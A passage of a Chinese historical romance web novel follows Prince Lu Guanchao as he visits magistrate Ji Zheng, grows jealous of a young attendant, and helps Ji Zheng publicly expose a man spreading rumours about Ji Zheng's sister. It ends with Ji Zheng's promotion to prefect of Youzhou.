陆观潮沉默许久,才下定决心启程进城,只是还没进城就被拦下。 “劳驾。”门外的壮士认真道,“县令有律,进城不可纵马,请下马吧。” 季铮的命令? 陆观潮骑在马上看了一眼壮士,不是作假,便没说别的翻身下马。 张佴与赵年见自己殿下都听了,也跟着麻利下来,吩咐后面运送军饷的人都下马。 “辛苦各位配合了。”壮士抬眼看了看这一队人,问,“各位可是陇县人?” 陆观潮摇了摇头,赵年道,“我们从大都来的,要路过陇县歇歇脚。” 壮士点头,估摸了一下人数,回身掏出几张木牌,“打算待几天,有盘缠落脚点吗,做登记能领一份。” 什么乱七八糟的,陆观潮昂起下巴,道,“我要找你们县令。” 壮士抬眼看了陆观潮一眼,有些好笑道,“又是来谈生意的,你是今日第五个了,这样吧,我记一下姓名籍贯,货物类型,您在此稍等,待我通报县令大人。” “陆观潮。”陆观潮有些不悦,直言道,“去和你们县令说,他一定会来见我。” 壮士被他这气势吓了一跳,只当他是哪家身份显贵的,怕耽误县令的事,道,“好,我去汇报一下……小濂,带这几位大人等候。” 另一个壮士“诶”声,过来带几人走到城外一家小茶馆,“他稍后就来,您们请先休息。” 就要走时,张佴叫住叫小濂的壮士,问,“进陇县的都要登记身份,这也是你们大人想的注意。” 提及季铮,小濂露出几分自豪的笑, “当然,身份不明者无正当理由不可进城,当然,可不是白登记的,我们送盘缠,介绍落脚点,官府选址,不会被黑心客寨糊弄。” 张佴稀奇,“这倒是从未听闻过。” “不止呢。”小濂道,“我们大人还带人剿匪,从前有落网之鱼怀恨还想混进去,还好没得逞,城中也有许多好玩的地方,你们进城就知道了。” 陆观潮越听脸越冷。 这些,季铮都没和他说过。 传话的壮士到时,季铮刚忙完事务,被兰香缠的没办法,教他怎么用弓箭。 壮士道,“大人,城外有一叫陆观潮的称要见你。” 季铮听到这个熟悉的名字,眼眸微睁,手都不稳了,心中一喜,心跳都快了,他激动道,“快让人进来!” 壮士看得出季铮重视,马不停蹄的赶去。 “大人……”兰香感觉到握着自己手的手抽离,有些不开心,“你说要教我的。” 他回头,却在季铮笑得灿烂,是他前所未见的笑,顿时起了妒意。 这陆观潮是谁,能让大人这么开心。 季铮随口对他道,“下次,下次再教你。” 他上下整理了一下衣衫,思索片刻,问兰香道,“我这身好看吗?” 兰香撇嘴,别过头嘟囔道,“大人怎样都好看。” 季铮又问田观雪和陶疆,田观雪不甘示弱,跟着兰香一块夸,还是陶疆说了实话,“大人,您头发有些乱。” “好陶疆。”季铮听罢不多留,兴冲冲的跑回房内重新梳头发。 季铮跑得太快,和平日总是稳重的形象大相径庭,兰香一跺脚,攥紧手中弓。 他倒要看看,要大人这般准备的陆观潮,是何方神圣。 唯独田观雪反应过来一愣,“这陆观潮,难道是……珏王?” 壮士很快就来回话,毕恭毕敬的带他们进城。 陆观潮一心想见到季铮,没心思管路上风景,只听到张佴和赵年两人不争气的议论声。 街上人影错落,陆观潮烦不胜烦,直到终于走到县令府,看到府门口四处张望的人,他才安定下来。 是季铮,他来接自己了。 陆观潮一笑,甩下身后的人,快步闯入季铮的视线。 “季铮!”陆观潮眼睛亮亮的,和季铮对视上,他兀自笑了。 阳光划过季铮的脸,陆观潮还以为自己在做梦,梦中也是这样,季铮冲他笑,不同的是,这次是真真切切的季铮,不会忽然离开的季铮。 季铮忍者心底想抱陆观潮的冲动,他接住陆观潮,看向面前人的眼神却藏不住悸动。 陆观潮深呼吸一口,极轻的喊了一声,“季铮。” “这位公子。”兰香开口,“我家大人名讳,可不是随便喊的。” 陆观潮顺声看去,就见一个小少年,满眼怨恨的看他,拽的跟二五八万一样。 他嗤笑一声,“你是何人?” 什么东西,也敢打扰他和季铮。 兰香抬着头,“我是大人的贴身侍卫。” 贴身二字被他咬得极重。 陆观潮眯起眼,又看向季铮,无声询问。 好样的,他才不在多久,季铮身边就有新人了? “殿下啊。”张佴喘着粗气追上,“您跑得太快了,我又不是武人,追不上啊。” 赵年跟在后面,见到季铮颔首道,“季生员……啊不,现在是季县令了。” 季铮对赵年笑笑,“好久不见了。” 他看到后面一车车东西,对田观雪道,“先帮着收起来看好。” 田观雪点头,他猜陆观潮就是珏王,没想到竟然是真的,本心也是想躲着点陆观潮,赶忙上前帮着赵年以及一众人归纳物品进府。 张佴在三人身上看了一圈,很想和季铮打个招呼套近乎,不过气氛实在不对,便也去赵年身边浑水摸鱼了。 兰香不满的朝季铮凑近,“大人,他是谁。” “不得无礼。”季铮难得训斥他,“这是珏王殿下,岂容你大呼小叫。” 兰香被训了,怨气丝毫没消退,瞪着陆观潮,嘴上倒乖,“对不住,珏王殿下,我失礼了。” 陆观潮一直冷着脸看兰香,他不笑时肃杀气尽现,闻言淡淡移开视线,道,“无妨,本王也不会和 一个毛头小子计较。” 季铮神奇,陆观潮不是连他和陈昇说话都要闹脾气吗,怎么这会倒冷静。 兰香继续道,“我当真不是有意,只是我好不容易求来大人教我射箭,没想到殿下就来了,心中遗憾罢了。” “哦。”陆观潮嘴角一勾,“教你射箭啊。” “好了!” 陆观潮攥着季铮手的力道加重,季铮这下是知道陆观潮真的很生气,当即岔开话题,“兰香,你先自己去玩,我和殿下有事商议。” 说罢,不等兰香说话,拉着快要发火的陆观潮离开。 兰香看到两人握着的手,咬了咬牙。 季铮才关上房门,陆观潮就扑了上来。 “季铮。”陆观潮的声音在季铮耳边响起,“我不在的时候,你很快活啊。” 季铮后背一阵冷汗,连声反驳,“不快活,一点也不快活,你不在我想你想的都要肝肠寸断了。” 陆观潮接着逼问,“还教他用弓,你也教教我?” “我教。”季铮道,“我以后只教你。” 陆观潮又问,“贴身侍卫?” 季铮疯狂摇头,“他胡说的,我一会就去说他,我洁身自好,府里连个小厮丫鬟都没有。” 陆观潮埋在他肩膀,季铮看不到陆观潮的表情,这时没听到人再追问,一下子就没底了。 他拍了拍陆观潮的肩膀,低声道,“心肝,给我看看你。” 陆观潮不理他,自顾自道,“我怕你嫌弃我,特意换了衣裳,洗了澡,收拾整齐了才来见你。” 季铮张了张嘴,还没安慰,陆观潮又道,“你都没发现我的簪子变了,还好意思说想我。” 他这么一说,季铮才瞥见陆观潮的发簪莫名眼熟,看了会才想起,这是他送的那支梨花,顿时红了脸,弱弱道,“我看出来了……” “你就看出来这个?” 季铮“啊?”了一声,到底还有什么?! 他哄道,“你站好,让我仔细看看。” 陆观潮闷声道,“我吃醋了……” 他声音小到季铮几乎听不见,季铮耳边一痒,心跳漏了半拍。 陆观潮终于舍得露脸了,他抓着季铮的肩,像是怕人逃跑一样,一行清泪落在季铮心上。 他道,“我吃醋了,你看出来了吗?” 季铮喉结滚动一圈,他怔怔的看向陆观潮,顿了顿,道,“我看出了。” 陆观潮更气了,“我不信,你都看出来了,还不让那个兰花滚开,为什么不哄我,为什么还教他……” 他絮絮叨叨的说着自己的不满,季铮就这么听着。 陆观潮红着眼质问,“现在又为什么不理我……” 下一秒,季铮捧住陆观潮的脸,垫脚轻轻吻上。 柔软的触感袭来,陆观潮说不出话了。 不是脸颊,不是额头,是唇…… 陆观潮能清楚的感受到季铮的呼吸,他睁大眼睛,傻傻的愣在原地,不知该做何反应。 季铮贴了一会才松开,他眨了眨眼,道,“没有不理你,我在等你说完。” 陆观潮抿唇舔了舔,呆呆的垂下眼。 “现在,我要问你。”季铮歪头,“你要娶我妹妹?” 陆观潮猛地抬眼,满眼惊恐。 80.第 80 章 季铮被他这幅样子逗笑了,“哈哈哈哈……” “谁说的。”陆观潮怒道,“我去宰了他,姑娘家的名声怎能这样随诋毁。” 季铮笑着拉住他,“一些谣言,我已经令人在查了。” 陆观潮追问,“可查出来是谁了吗?” “这说来话长。”季铮道,“季秧曾有一未婚夫,当年家里穷,没能成亲,前段时间来求亲被季秧拒绝,后又穿谣言,我把他教训一顿,恐怕就是他心生怨气。” 陆观潮皱眉,“定是他了,为何不早于我说,我替你去处置他。” “冤枉了,你一来就埋怨我,我哪有时间说。”季铮正说着,又听陆观潮问,“你居然还会动手教训人,怎么教训的,我想听。” 季铮回想起那日到最后,温萍吓得屁滚尿流,吭不出一声的样子,有些心虚,有辱他的形象,轻咳一声答非所问道,“不过你这次带那么多行李,我还真以为你要娶季秧呢。” “那是一部分军饷。”陆观潮没好气道,“别人说什么你信什么,我的心思你又不是不知道。” “什么心思?”季铮故意逗他,“我不知道啊。” 陆观潮却很严肃,郑重道,“我想娶你。” 季铮又笑了一会,看陆观潮表情未变,他止住笑,“认真的?” “认真的。”陆观潮问道,“你愿意嫁吗?” 一室寂静。 季铮很早就猜到陆观潮会这么想了,说难听点,陆观潮小肚鸡肠,本性善妒,有些事非要争一个名分,抢一份承诺才安心。 可世上那么多事,哪是你情我愿就能解决的。 他迟疑了,反问道,“如果我说不愿意?” 陆观潮似乎料到了,“没关系,我嫁给你好了。” 他说的天经地义,好像提前就想好了,就等季铮松口,美美迎娶季铮,或美美嫁给季铮。 季铮无奈,“一定要和我成亲?” “是。”陆观潮语气一本正经的,“不然万一又被什么兰花桃花哄走了怎么办。” 季铮哽住了,不知该回复什么。 放到前世两个男谈恋爱都难免备受白眼,换到这个世道成亲,岂不是人人喊打。 他脸皮厚倒无所谓,可陆观潮被骂了小半辈子了,再添上断袖的骂名,未来怎么办? 季铮舍不得,他不能护着陆观潮免于非议,这时答应,岂不是耽误陆观潮。 他怕陆观潮误会,斟酌着措辞道,“现在还不是说这些的时候,有点快。” “我知道了。”陆观潮像是早就预料到了,没有要大闹一场的表情,很平静道,“我等你。” 就这么简单?季铮有些没反应过来。 末了,陆观潮问,“我给你的玉符,还留着吗?” 季铮闻言掏出随身携带的玉符给陆观潮看,“在这呢。” 自从陆观潮给他后,他几乎从没离身过,还细心的找了绳子重新编了一遍,方便携带。 陆观潮很满意,“收好了,到什么时候你觉得时机到了,和以前一样,拿它来换我。” 季铮以为这玉符能调令陆观潮手下将士已是神兵利器,原来还有这层意思吗? 这算不算……定情信物? 季铮想到这一点,忙仔细收好,“那我可得保存好了,可不能让别人捡了便宜。” 陆观潮受用道,“只有你有用,别人拿了这玉符,我砍了他脑袋都不解气。” 两人正说着,门外传来兰香的声音。 “大人,殿下。”兰香道,“晚膳好了,要吃些吗?” 陆观潮霎时脸色阴沉下去了,隔着一扇门,就差对着兰香翻白眼了。 季铮笑着揉了揉陆观潮的脸,对外道,“不必了,你们吃吧,我带殿下到处逛逛,不用跟着。” “哦。”兰香应了一声,磨蹭着离开了。 陆观潮又问,“这家伙是什么来历?” “兰香?”季铮讲道,“一个朋友的义弟,托我照顾,那人你也认识,连和盛四季镖局的大哥。” 季铮把从大都离开后至今发生的事和陆观潮简略说了说。 最后补了一句,“兰香年纪还小,第一回离家,想找个依靠而已,还是个孩子,你别和他一般见识。” “受伤了吗?”陆观潮不问兰香,转而问,“你前遇土匪,后又去剿匪,可有伤到?” 季铮心间一暖,笑道,“身上的伤没有,心上倒是受伤了。” 陆观潮紧张道,“怎么弄的,内伤?那些人没护好你?” 季铮淡淡摇头,“想你想的啊。” “你!”陆观潮松了口气,但也被他这句话调拨的七上八下,“就会哄人开心,这些话你到底给几个人说过。” 天色渐暗,屋内没点烛火,季铮险些看不到他红了的脸。 门外兰香又来问,“大人,季小姐来历,说也想一起去,您们走了吗?” 陆观潮“啧”了一声,嘟囔道,“怎么又来了,季铮,你把它赶走。” “哪能这样?” 季铮搓了把陆观潮脑袋,“我还有正事要你帮忙,帮不帮?” 陆观潮眸光亮了,“帮!” 内心喜悦,季铮终于有一件事拜托他了,转念一想,究竟是多棘手的事,季铮会让他插手。 所幸没过多久他就知道了。 季铮出门叫住兰香,“田观雪呢,叫他过来,我有事安排你们。” 兰香见季铮出来,喜笑颜开,一点头去找田观雪了。 季秧在一边,看陆观潮在房内,招了招手,“殿下,你回来了!” 陆观潮颔首,回想起季铮方才的话,难免对季秧有些怜惜,认真回道,“我回来了,你这段时间怎么样,功课如何?” “我都能帮阿兄看账目了。”季秧不懂陆观潮什么时候这么爱和她说话了,挠了挠头,像没事人一样,丝毫不像因造谣困惑的样子。 季铮这时对季秧道,“今日是不能陪你了,还得麻烦你。” 季秧问,“什么啊。” “要借你身份一用。”季铮道。 季秧一脸懵,看向陆观潮,对方也是疑惑。 兰香带着田观雪赶到,季铮言简意赅道,“去传,说县令妹妹与珏王在仪亲,两人今夜相约逛街。” 田观雪还在偷偷打量陆观潮,心道这传闻中的煞星好像和普通人没什么两样啊,乍一听到这话,吓得眼珠子都要瞪出来了。 “……”季秧默默移开和陆观潮对视的双眼。 陆观潮盯着季铮,凉凉道,“季铮,你是在故意戏弄我?” “好的!”兰香面无异常,利索的扯着田观雪去办事。 季铮双手合十,“抱歉,我是有原因的。” 他说罢,又匆匆回屋取了一顶斗笠,斗笠挂着白纱,长至腰下。 季铮戴上斗笠,上半身被遮得严严实实,季秧本就在女子中身形高些,两人都穿了绿色衣裳,他和季秧站在一起,还真有些恍惚。 陆观潮要比季铮高不少,因而 季铮和陆观潮一道走,并不显突兀。 季铮转了一圈,兴致勃勃问,“怎么样,能看出来是我吗?” 陆观潮眼皮一跳,“你到底要做什么?” 季秧很捧场的奉承了几句。 温萍被季铮威胁后,季铮留意过他的行踪,才发现这人一直没回家,就日日蹲在县令府附近,打算蓄意报复。 这几日陆观潮要来陇县的消息传开,他看县令府准备迎客,动了些歪心思,胡乱编撰谣言,意图用陆观潮煞星的名号,弄臭季秧的名声。 只可惜,他那丁点的脑子只有情情爱爱这些阴招了。 不过有一说一,温萍穿传谣的能力的确厉害,要不是他本性太坏,干出这种缺德事,季铮一定收下他为己所用。 季铮让田观雪与兰香出去出谣言,就是为了刺激温萍。 出府时,季铮还没察觉,陆观潮将他朝自己这边揽了揽,低头附耳道,“有人跟上了。” 季铮低笑一声,“看好了,别把他甩掉了。” 两人绕到街上,陆观潮来得巧,正是陇县五天一办的夜市。 街上热闹,人来人往,摊位上热气弥漫,食物的香气扑鼻,夹道百姓忙着做生意,没人注意什么珏王季小姐。 陆观潮被被百姓挤了一下,由衷感慨,“人真多,比大都白日人还多。” “现在是农闲时。”季铮解释道,“百姓无事可做,除了耕种,想添些收益才来摆摊,不是次次都是如此。” 陆观潮不解,“弄这些不便管理。” “暂时还没发现问题。”季铮道,“为了赚钱啊,这一个摊位就是一份银子,不然我修建农具,登记造册,发放盘缠的钱哪来的。” 季铮怕被温萍发现,不敢大声说话,又为了陆观潮听得清,几乎是垫脚趴在陆观潮耳边说,更显的暧昧。 陆观潮绕过季铮腰,扶了他一把,自己低头配合季铮。 “用之于民,还之于民,这样倒是有有意思。”陆观潮若有所思,又问,“那夜里这么多人,可会遇到抢劫?” 季铮指给他看,“每隔一处安插了民兵,专逮这些人。” 陆观潮顺着看去,果然看到一个身形魁梧的民兵持刀而立。 “这是匪窝里放良的土匪。”季铮道,“一些要养家糊口的,我编入民兵了。” 陆观潮指出问题,“这样一来是解决了用人问题,可土匪本性难移,既然有先例,未尝会老实听话。” 对此,季铮只道,“举报给钱,被举报罚钱。” 陆观潮笑了,“豪横。” 季铮耸耸肩,“民兵保护摊位,摊位交些钱,多合理。” 罢了,也算是拔本塞源了。 两人边慢悠悠的逛着,边说着话。 经过一家饰品摊子,陆观潮忽然警觉,“别回头,他靠近了。” 季铮挑了挑眉,停下脚步,从摊子上选了一对男子用的护腕,故作亲昵的给陆观潮看。 摊子老板抬眼,惊奇这姑娘真高,面前没说出来,给两人介绍,“这是我家男人猎来的豺狼皮作的,您瞧瞧多结实,送您身边的小郎君正合适。” 季铮拉过陆观潮的手,拿着护腕比了比,放到别人眼里,像是个送心上人礼物不好意思的小姑娘。 “季……”陆观潮憋出话头,问道,“你要送给我吗?” 斗笠下的人点头。 身后忽的传来男人怒不可遏的声音。 “季秧!你个水性杨花的女人,敢私通外男!” 81.第 81 章 这一嗓门声音实在大,身边一圈人的目光都被吸引过来。 饰品老板看那人怒气冲冲的朝自己这来了,吓了一跳,“诶呦,这是怎么了呀。” “怎么了?”温萍气急,几步拨开人群,停在季铮面前,骂道,“季秧,我说你为什么要退亲,原来是巴结上珏王了啊?” 他前一个仪亲对象在县丞府做过事,早听说董何维要强娶季秧,是珏王出面救下了,他还不信,季秧怎么可能认识大都来的王爷,定是吹牛胡诌的。 今日就听说季秧要和珏王逛街,远远跟来,还真是。 这些天的疑虑全都明了了,怪不得季秧不认他,连季铮都对他变了态度。 好呀,攀上高枝就把他踹了,也不怕被这煞星克死。 温萍怒目圆睁,指着季秧继续道,“人珏王怎么可能看得上你,不过是玩弄你罢了,一个被董何维不要的人,我愿意娶你,那是你的荣幸。” 被季秧拒绝,乃至被季铮吓唬的愤怒在此刻全加起来,冲上大脑,温萍现在满心都是不满,神经被控制,说话都口无遮拦了。 季铮气得发抖,还好是他来了,没让季秧走一遭,不然季秧听到这些恶毒的话,又要三四天吃不下饭了。 两人挨得近,陆观潮自然感受到季铮的情绪,他脸色微沉,一把把季铮拉到身后,冷声道,“注意言辞。” 人群议论开来, “季秧是哪家姑娘?” “你忘了,是咱们县令的妹妹,前不久才闹出退亲的事,原来是真的。” “那珏王是怎么回事,我听说他要来下聘,也是真的?” “你看这场面,还能是假的?” “这么说来,季姑娘还没退亲就勾搭下一家了,哪怕是县令的妹妹,也不能这样欺负人啊。” 陇县百姓读书少,平日不关注这些事,只知道朝中有一个煞星,不知道珏王就是煞星,因而毫不顾忌自己的议论声。 温萍听到有人向着他,得意起来,“看到了吧,季秧,你阿兄不在,你还有什么底气。” 他看向珏王,又换上谄媚的表情,“王爷,季秧是我未婚妻,给您添麻烦了,我这就教训她。” 陆观潮呵呵一笑,就要控制不住自己上手揍他,被季铮拉住了。 他回头,就见季铮摇了摇头。 温萍睁大双眼,指着两人相握的手,指看对看众道,“看到没!这还没出嫁,就这么猖狂了,大家眼皮子底下呢,拉拉扯扯像什么样子!” 人群一看,纷纷传来,这下是坐实了季秧的“罪名”。 “说完了吗?” 这声音,不是季秧的?! 温萍正享受这周围人的安慰他奚落季秧的话,猛地听到这道声音,心底弥漫开恐惧,浑身一僵,咽了口唾沫,一动不敢动。 “说够了。”季铮当着所有人的面,摘下斗笠露出面容,“那就就领罚吧。” “季,季铮?” 温萍看清面前人,腿一软,抖着身子差点跪下。 陆观潮早看他不顺眼了,哪能让他站着,没了季铮阻止,上前一脚踹上去,温萍哀嚎一声扑腾跪下。 人群引起轩然大波。 “不是季姑娘?” “那刚才这人骂个半天,骂个什么劲。” 有眼尖的已经向季铮见礼了,“县令大人安。” 季铮一抬手,制止众人行礼,垂眼看向温萍,“你刚才说的话,有胆量当着我面再说一遍。” 那日季铮蒙眼射箭的阴影还久久不散,温萍颤抖不止,晚上一闭眼就是季铮那阴森森的笑容,这回再度看到,舌头都捋不直了。 “不敢?”季铮笑了,“方才怎么就敢说,只会欺负小姑娘?” 温萍还是不敢看季铮,壮着胆子开口,“我有罪,望县令大人赎罪。” “说说吧。”季铮道,“你有什么罪,这么多人在这,若真是家妹错了,我不冤枉你。” 众人一看温萍这样子就知道谁对谁错了,其中有人撺掇温萍大胆说。 “你不是说了,人季小姐辜负你嘛。” “没有。”温萍抖如筛糠,“季小姐没有辜负我。” 季铮看他是吓得说不出什么了,便对着各位说,“家妹确实与他订过亲,不过早在几年前,这人嫌我家穷,就已经另择亲事了。” 季铮扫了温萍一言,又开口,“前不久,我发现他来骚扰家妹,话已说清,还不满意,竟传播谣言,我看在旧情的份上不与你计较。” 他顿了一下,似乎是气急,“可今日,你却一路跟踪,甚至在大街上当众抹黑家妹,是何居心!若当真是我家妹在这,难道要白白受你侮辱?” 人群哗然,不知是谁暗戳戳踹温萍一脚,“这不是恶人先告状吗,季姑娘那是没嫁给你,摊上你可算倒霉了。” “就是,你这人心肠好是歹毒,给人家姑娘无中生有捏造是非。” “……” 温萍被骂的脑中嗡嗡作响,他心道,完了完了,他听得清清楚楚,明明是季秧和珏王,打算给季秧扣上黑锅,讨一笔钱使使,怎么跟出来变成季铮了? “起来!”季铮嗓音发抖,“不必跪我,我无意身份压你,可你若说不出个理由,我饶不了你。” “大人!”人群一人道,“这种小人您还给他什么面子,直接下大狱才好。” 温萍被这一句下大狱砸了个眼冒金星,本来才编好的措辞一下子空白,喃喃道,“我不要下狱,不要……” “由不得你。”季铮道,“你若只是对我,我倒可饶你一次,可你居然敢随意攀咬珏王殿下,我饶了你,圣上可不会饶了你,就不怕掉脑袋吗?” 怎么从下狱变成掉脑袋了?! 温萍顿时像无头苍蝇一般,实在没办法了,居然匍匐到季铮脚边乞求原谅, “大人明鉴,我错了,我不该怀恨在心抹黑季姑娘,可攀咬殿下万万不敢啊!” 陆观潮一手拎起他,“以为本王耳聋吗?季铮是本王的人,你当着本王的面骂他,就是在打本王的脸!” “殿下,我们大人心善,你可不能轻易饶恕他!” “是啊,殿下,这种人与其活着糟蹋其他姑娘,还不如现在死了。” 陆观潮头一回感受到被百姓爱戴,轻咳一声,下巴微扬,道,“各位放心,我必好好处罚。” 季铮见戏演得差不多了,便道,“来人捉住他,下狱听候发落。” 不知从什么地方出来两名官兵,从陆观潮手里架住软绵绵的温萍而去。 季铮伴着一阵欢呼道,“感谢各位为我家妹做主,感激不尽。” 众人有传过谣言的,懊悔不已,主动和季铮告罪,季铮摇头,“他蛊惑大家,今日大家得知了家妹无辜,便无需自责。” 在声声称赞声中,季铮带着陆观潮而去。 陆观潮跟在季铮身后,听了一路好话,其中不乏有夸他的,燥 的脸发烫,看季铮的眼神都炽热了几分。 直到人烟稀少,周遭没声音了,季铮把陆观潮拉进一条巷子里。 月光下,陆观潮眯着眼,很开心的样子。 “季铮。”陆观潮笑道,“你真厉害。” 他这话发自内心,可不是奉承,季铮能三言两语的转变人心,除了生的温和,巧舌如簧,在百姓中威望定是不低,极其难得。 就见季铮从怀里逃出来一对护袖。 陆观潮眼一亮,“给我的?” “不然还能给谁的?”季铮又比了比,“不太衬你,戴着玩好了,以后给你买更好的。” 陆观潮当即脱了自己手上虎皮的,戴上这对,道,“哪里不衬,我很喜欢。” 是喜欢这对,还是因为季铮才喜欢,显然易见。 陆观潮穿到手上看了又看,才想起问题所在,“你没给钱?” “……” 季铮气笑了,“你就关注这个?” 他看陆观潮是真心想问这个,便道,“给了,走时放了钱,够买两了。” 外面的人散了一些,季铮听陆观潮之前传信说过不了几日就要离开陇县,怕人没逛尽兴,又带着人折返,换了一条街逛。 两人吃了碗面,陆观潮想着季铮的事,偷偷给季铮买了只戒指。 晚间回程时给季铮,季铮愣了好一会才收下。 陆观潮不一样,这里戒指没别的意思。 “对了。”季铮捏着戒指玩了会才戴到手上,问,“你传信回来让我跟你去幽州,想好怎么和圣上说了?” 陆观潮点头,胸有成竹道,“我提前就给他上奏了,他没法拒绝,大抵这几日圣旨就能到。” 季铮疑问道,“你怎么说的?” “我说。”陆观潮笑了一下,“他催我娶妻,我说我要自己选,他答应了我选中谁都能带走,你上奏说选中你了。” 这也行? 季铮笑着摇了摇头,“调皮,圣上不骂你算你厉害。” 陆观潮一脸不以为意,“他骂就骂了,骂的还少了?” 临近府门,季铮看到兰香打着灯笼侯在门外。 陆观潮嗤笑,“这小玩意没完没了了?” “大人!”兰香看到季铮,伸手招了招,“您终于回来了,怎么样,还算顺利?” 季铮应了一声,“顺利。” 两人走进,才看到兰香身后的赵年,赵年笑笑,“殿下,大人。” 陆观潮“嗯”了一声,问,“你怎么在?” “是张佴担心殿下。”赵年无奈道,“可他又不愿意晚睡,便让我等等您。” 陆观潮道,“这家伙最矫情了,若无其他事,你也回去吧。” 赵年打了个哈欠,这一路舟车劳顿,他早就累了,便没多说什么,告辞离开了。 另一边,兰香邀功道,“大人,我做的好不好?” 他这么一说,季铮立即反应过来,“踹温萍带节奏的是你?” 兰香点头如捣蒜,眼睛亮晶晶的等季铮夸奖。 谁承想没等季铮夸奖,先等到陆观潮道,“雕虫小技,上不了台面。” 兰香被这话说得一愣,再要开口,陆观潮已经扬长而去。 “做得好。”季铮拍了拍兰香肩膀,“去休息吧。” 兰香委屈,“那珏王殿下。” “你不用管,我去看看。”季铮撂下这一句,毫不留恋的追上去。 82.第 82 章 季铮一路追到房里,气喘吁吁道,“陆观潮,你怎么也不等等我。” “等你干什么?”陆观潮环手而立,“等着看你夸那个兰花?” 季铮笑了,“你还生他气?” 陆观潮没好气的去掐季铮的脸,“我当然生气,他什么心思,你看不出来吗?” 他低头,季铮眨着眼,一脸无辜,因为被他掐着脸,说话声音含糊,“他什么心思啊?” 陆观潮瞬间就没气了,松手别过头道,“没什么,反正我不喜欢。” 左右不过一个小屁孩,能掀起什么风浪。 十日前大都。 陆观潮才出大都地界,就给陆泽上折子了。 此时,陆泽看着折子气得牙痒。 福寿禄察觉圣上情绪不对,赶忙道,“这是珏王的折子吧,圣上可别气坏身子。” “还真是朕的好弟弟!” 陆泽手上用力,仿佛要在折子上扣出一个洞。 福寿禄一抖,这回圣上是真动气了,他朝下面递了个眼神,示意召李不言先来候着,不敢再开口了。 陆泽看着折子上潦草的字迹,是陆观潮的不假。 折子上絮絮叨叨了不少,还算得体,只是最后一段叫陆泽气愤。 最后一段道,边关战事不休,听闻季铮在陇县管理效果显著,要讨要季铮去幽州,位置都想好了,就封为幽州刺史,希望圣上顾全大义,成全心愿。 最后还补上一句,圣上答应了臣随意选人,臣就选中季铮了,不能不作数啊。 好啊陆观潮,还敢威胁上他了。 陆泽前不久才收上来黄狄的折子,中讲道季铮如何将千疮百孔的陇县治理的井井有条,内定民心,外除匪情,繁华程度甚至胜过大都。 什么夜市,商会,登记,按时算工资,他一一看过,心中大喜,这些法子他从未听闻,竟出奇有效,还想总算是得了个真有才干的,要挑时候把人调回大都,放到眼皮子底下。 这么不巧,就被陆泽截胡了,偏偏他亲口答应了,话也传出去了,这回反悔,他帝王的面子往哪放? 门外小太监通报,“圣上,皇后娘娘求见。” 陆泽正烦着,忍着脾气道,“进来。” 新入宫的姜绾绾提着羹汤进来,太医查过无恙后才递到圣上面前。 姜绾绾问,“圣上何时烦心?” 陆泽本无意多说,这回是实在没办法了,才向姜绾绾避重就轻的倒苦水。 “圣上辛苦。”姜绾绾上前,道,“妾不懂这些,但见过季县令一面,季县令为人正直,一派肝胆之心,妾心想,季县令不像会结党营私之人……” 对啊。 陆泽想到季铮出发时对他说的话,这人是个一门心思为百姓的傻臣子,怎么可能被陆观潮拉拢,大概就是陆观潮的主意。 也罢,幽州毕竟是他的领土,那里情况确实不好,便先派季铮过去处理,再调回大都也不迟。 陆泽想到这转悲为喜,握住姜绾绾的手,“梓潼此言有道理。” 姜绾绾笑了下,“能帮到圣上,是妾之幸,那妾就先退下了,不打扰圣上,圣上记得喝汤。” 陆泽应允,姜绾绾才退下。 福寿禄见圣上情绪缓和,默默让人送走李不言。 陆泽再看陆观潮的折子时,已经没多少抵触了,他落笔下令。 心道,这季铮才在陇县站稳脚跟,就被调离别处,倒委屈他了,得多给些赏赐。 陆观潮算得很准,圣旨是在第二日下的。 季铮才从陆观潮怀里睁眼,就听门外田观雪道,“大人,来圣旨了!” 他猛地睁眼爬起来,陆观潮揽着他的腰,迷迷糊糊道,“别走。” “陆观潮!”季铮拍了陆观潮一掌,才得以起身。 陆观潮被他叫醒,赖在床上睁眼看季铮,“急什么,他们这么早来,就得等着。” 季铮迅速穿戴整齐,也给陆观潮捞起来,“快起来吧!” 两人从屋里出来时,田观雪吓得下巴就要掉地上了,目光在两人身上转了一圈又一圈,一个字也憋不出来。 众人跪下接旨。 传旨的侍卫轻咳一声,朗声念出, “显化八年制,奉天承运皇帝,诏曰,朕闻珏王举荐,陇县县令……今特封幽州刺史,赏金银百两,随珏王去幽州,不得有误。” 季铮一懵,这封圣旨他早料到了,还以为会是做幕僚,或是换个地方做县令,没想到……会是刺史。 从县令道刺史,连跨两级! 陆观潮可真敢要。 他反应过来,连忙接旨谢恩。 侍卫忙着汇报,匆匆念完圣旨,放下赏赐,连顿饭都不留,赶着回大都了。 季铮拿着圣旨,还在恍惚。 季秧报喜道,“恭喜阿兄,现在是刺史了!” “啊!”田观雪忙不迭道,“刺史大人,您去幽州,能不能带上小人啊。” 亭中接连有人报喜,但也有人忧心,季铮去了幽州,那谁来做县令,万一新县令是董何维那般的人,他们该怎么办,又不能全跟着季铮走。 季铮也在考虑这件事,顿了一会,他道,“去找一趟史生海,我要见他。” 史生海是从被窝里被侍从拉起来的,急匆匆赶到县令府,还不知道今早圣旨的事。 见到季铮已然道,“县令大人,何事找我。” 季铮没率先提这事,转而问,“昨日下狱的温萍,和前段时间没来得及处置的卢乌寒石他们,怎么样了?” “等待大人吩咐。”史生海道,“依我之见,按律卢乌寒石等人杖责二十,贬为庶民,关押三年。” 杖责二十,不残也得没半条命。 季铮点点头,“不错,那温萍呢,你知道他是犯什么事进去的。” 史生海抬眼看了看季铮,接到季铮眼中的暗示,却道,“虽然温萍与大人有仇,可不该重罚,温萍污蔑良女,诋毁王室,按律杖责十五,关押十年。” “你倒是胆大。”季铮道,“旁人都劝我直接处死温萍,你却规矩。” “不敢。”史生海站得笔直,“我所学之道,不得偏私。” 季铮又问,“那这若是你家中人被诋毁呢?” 史生海毫不犹豫,“一样。” 书房沉默片刻,季铮忽然笑了。 他道,“不错,我没看错你。” 史生海不懂他为什么来这一句,不解的看向季铮。 季铮身边的田观雪笑呵呵道,“圣上今日一早来旨了,封咱们大人为刺史,不日就要调往幽州了。” 史生海还没理解这话的意思,季铮下一句话就砸下,“县令之位,我交给谁都不放心,如今,意图交给你,你可愿意?” 若是才见史生海那时,季铮恐怕还不会考虑,但史生海在他手下办了三个多月的事,他亲手教导亲囊相授出的半个徒弟,季铮清楚史生海的秉性。 这人比他还不同变通,认死理,但人心善,又被卢乌寒石打压过几年,最懂底层的痛,让他有什么治理的巧思为难他了,但让他做个“守成之君”,一定干得漂漂亮亮。 交给史生海,季铮很放心。 